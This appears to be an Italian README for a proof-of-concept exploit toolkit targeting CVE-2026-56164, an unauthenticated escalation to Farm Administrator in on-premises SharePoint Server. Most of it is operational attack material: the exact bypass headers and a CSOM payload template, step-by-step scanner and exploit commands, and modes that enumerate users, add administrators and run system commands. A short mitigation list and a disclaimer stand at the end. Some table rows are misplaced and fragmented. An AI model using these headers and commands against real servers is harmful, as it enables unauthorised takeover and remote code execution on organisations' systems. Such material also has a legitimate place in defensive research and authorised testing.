
CVE-2026-56164 è una vulnerabilità critica di mancata autenticazione che colpisce Microsoft SharePoint Server on-premises. Consente ad attaccanti remoti non autenticati di elevare i privilegi attraverso la rete.
Critico (CVSS 9.8) — Escalation di privilegi non autenticata ad Amministratore Farm in Microsoft SharePoint Server
CVE-2026-56164 è una vulnerabilità critica di autenticazione mancante in Microsoft SharePoint Server che consente a un utente remoto non autenticato di elevare i propri privilegi fino al livello di Amministratore Farm. La vulnerabilità risiede nell'assembly Microsoft.Office.Server.UserProfiles, che elabora le richieste SOAP all'indirizzo /_vti_bin/client.svc/ProcessQuery.
Omettendo intenzionalmente l'header X-RequestDigest e fornendo specifici header di routing, il server vulnerabile ripiega su un contesto di sicurezza elevato invece di rifiutare la richiesta non autenticata. Ciò consente ad attaccanti anonimi di enumerare raccolte siti, utenti e configurazione della farm, aggiungere amministratori ed eseguire comandi.
CISA KEV: questa vulnerabilità è elencata nel catalogo Known Exploited Vulnerabilities di CISA a causa dello sfruttamento attivo in ambiente reale.
Il gestore Microsoft.Office.Server.UserProfiles elabora le richieste SOAP all'indirizzo /_vti_bin/client.svc/ProcessQuery. In condizioni normali, SharePoint valida l'header X-RequestDigest per accertare il contesto di autenticazione. Tuttavia, esiste un bypass di validazione:
X-RequestDigest è assente E sono presenti specifici header di routing// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Bypasses standard identity validation → elevated admin session
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Normal path
}
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
| Prodotto | Versioni interessate | Versione corretta |
|---|---|---|
| SharePoint Enterprise Server 2016 | Tutte le 16.0.x precedenti alla patch | 16.0.5561.1001 |
| SharePoint Server 2019 | Tutte le 16.0.x precedenti alla patch |
Non interessate: SharePoint Online (Microsoft 365)
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt # Python dependencies
└── README.md # This file
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Install dependencies
pip3 install -r requirements.txt
Requisiti: Python 3.8+, libreria requests (opzionale — di default viene usato urllib della libreria standard).
Lo scanner esegue controlli sicuri e non intrusivi per identificare target SharePoint Server vulnerabili.
python3 scan.py --target sharepoint.example.com
Lo scanner:
MicrosoftSharePointTeamServicespython3 scan.py --target sharepoint.example.com --port 443
Creare un file targets.txt:
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
python3 scan.py --targets targets.txt
python3 scan.py --target sharepoint.example.com --no-bypass-test
python3 scan.py --target sharepoint.example.com --json scan_results.json
L'exploit supporta cinque modalità di intensità crescente.
Testa il bypass dell'autenticazione confrontando una richiesta normale (con digest) con una richiesta di bypass (senza digest + header di routing).
python3 exploit.py --target sharepoint.example.com --mode detect
Estrae raccolte siti, utenti e configurazione della farm utilizzando il bypass dell'autenticazione.
python3 exploit.py --target sharepoint.example.com --mode enumerate
Eleva il contesto anonimo corrente o un utente specifico ad Amministratore della Site Collection / Farm.
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate
# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
Esegue un comando di sistema tramite il servizio SOAP di amministrazione di SharePoint.
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
Esegue in sequenza la catena completa dell'exploit.
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
--port / -p: Porta del target (predefinita: 443)--http: Usa HTTP invece di HTTPS--site-url / -s: URL del sito SharePoint (predefinito: target)--json / -j: Salva il report come JSON--timeout: Timeout delle richieste in secondi (predefinito: 30)┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request to /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITTED] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [CSOM/SOAP Payload Body] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Vulnerable SharePoint Server │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → FARM ADMIN │
│ 4. Process SOAP request with system-level credentials │
└─────────────────────────────────────────────────────────────────┘
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
ApplicationName="SharePointExploit"
LibraryVersion="16.0.0"
RequestId="{UUID}">
<Actions>
[Detection / Enumeration / Elevation actions]
</Actions>
<Context>
<ContextId>Current</ContextId>
<Version>16.0.0</Version>
<SiteUrl>{TARGET}</SiteUrl>
</Context>
</Request>
/_vti_bin/ tramite regole reverse proxy/WAF/_vti_bin/client.svc/ProcessQuery/_vti_bin/client.svc/ProcessQuery senza header X-RequestDigestX-SharePoint-Authenticated, SPHomeBearerHint, ecc.)/_vti_bin/SharePointAdmin.asmx da origini non autenticateQuesto strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test. L'uso non autorizzato su sistemi di produzione è illegale e potrebbe violare le leggi sulla criminalità informatica e sull'abuso informatico.
Gli autori non si assumono alcuna responsabilità per un uso improprio di questo strumento. Segui sempre pratiche di divulgazione responsabile e rispetta leggi e regolamenti applicabili.
| Campo | Valore |
|---|
| CVE ID | CVE-2026-56164 |
| Gravità | CRITICO |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-306: Mancata autenticazione per funzioni critiche |
| Impatto | Elevazione di privilegi non autenticata ad Amministratore Farm |
| Stato dello sfruttamento | Sfruttamento attivo (CISA KEV) |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
| 16.0.10417.20175 |
| SharePoint Server Subscription Edition | Tutte le 16.0.x precedenti alla patch | 16.0.19725.20434 |
| Indicatore | Metodo |
|---|
| SharePoint Server | Fingerprinting tramite header HTTP (MicrosoftSharePointTeamServices, SPRequestGuid) |
| Versione del server | Parsing degli header + regex nel corpo della risposta |
| Versione vulnerabile | Confronto con le versioni corrette di CVE-2026-56164 |
| Bypass dell'autenticazione | Richiesta CSOM senza X-RequestDigest + header di routing di bypass |
| Certificato SSL | Oggetto/emittente del certificato per l'identificazione del target |
| Header | Valore | Scopo |
|---|
X-SharePoint-Authenticated | 1 | Dichiara che l'autenticazione è già stata superata |
X-SP-RequestRights | FullControl | Richiede permessi di controllo completo |
X-SP-RequestRights2 | ManageLists, ManageWeb | Diritti di gestione aggiuntivi |
SPHomeBearerHint | farmadmin | Suggerisce un contesto di amministratore farm |
X-RequestForceAuthentication | false | Disabilita l'autenticazione forzata |
X-SP-Proxy | internal | Dichiara un'origine proxy interna |
X-Forwarded-For | 127.0.0.1 | Spoofa l'origine locale |
X-Original-URL | /_vti_bin/client.svc/ProcessQuery | Direttiva di routing |